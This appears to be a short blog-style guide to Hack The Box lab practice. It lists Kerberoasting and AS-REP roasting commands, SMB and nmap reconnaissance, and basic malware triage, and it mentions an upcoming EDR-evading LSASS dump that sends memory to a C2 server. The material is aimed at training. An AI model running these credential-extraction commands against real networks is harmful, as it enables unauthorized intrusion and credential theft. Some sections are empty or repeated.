Advanced Hack The Box Techniques for Professional Cyber Security

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For professional users of Hack The Box (HTB) and those looking to excel in Cyber Security, this guide covers HTB Academy, HTB Labs, and advanced OpenVPN configurations. It also dives into Active Directory attacks, internal reconnaissance, malware analysis, and preparation for certifications like Altered Security, Zero Point Security, CTPS, and CAPE.

You Should Know:

1. Setting Up OpenVPN for HTB Labs

To connect to HTB machines, use OpenVPN with the following command:

sudo openvpn /path/to/your/htb-lab.ovpn

Verify the connection:

ifconfig tun0

2. Active Directory Attack Techniques

  • Kerberoasting Attack:
    impacket-GetUserSPNs -request -dc-ip <DC_IP> DOMAIN/USER:PASSWORD -outputfile hashes.txt
  • AS-REP Roasting:
    impacket-GetNPUsers DOMAIN/ -usersfile users.txt -format hashcat -outputfile asreproast.txt

3. Internal Reconnaissance

  • Enumerate SMB Shares:
    smbclient -L //<TARGET_IP> -U DOMAIN\USER%PASSWORD
  • Nmap Scan for Internal Networks:
    nmap -Pn -sV -p- -T4 <SUBNET_RANGE>

4. Malware Analysis with Linux Tools

  • Static Analysis with strings:
    strings malware.exe | grep -i "http|password"
  • Dynamic Analysis with strace:
    strace -f ./malware

5. Bypassing EDR for LSASS Dumping

A POC is coming soon for dumping LSASS via C2 Havoc, Obsidian, and other tools without disk writes—redirecting memory directly to the C2 server.

6. Router Setup for Professional Labs

Avoid Hiddify for C2 setups. Instead, use a dedicated router with traffic segregation.
– Check DHCP Lease:

cat /var/lib/dhcp/dhclient.leases

Expected Output:

  • Successful HTB VPN connection (tun0 active).
  • Extracted Kerberos hashes for cracking.
  • Identified internal network services via Nmap.
  • Malware IOCs (Indicators of Compromise) from analysis.

Prediction:

Increased EDR evasion techniques will emerge, focusing on in-memory attacks to avoid detection.

What Undercode Say:

Mastering HTB, AD attacks, and malware analysis requires hands-on practice. Use the provided commands and techniques to sharpen your skills. Stay updated with new POCs for red teaming.

URLs:

Expected Output:

A fully functional cyber lab, extracted credentials, and analyzed malware behavior.

IT/Security Reporter URL:

Reported By: Hassan Sohrabian – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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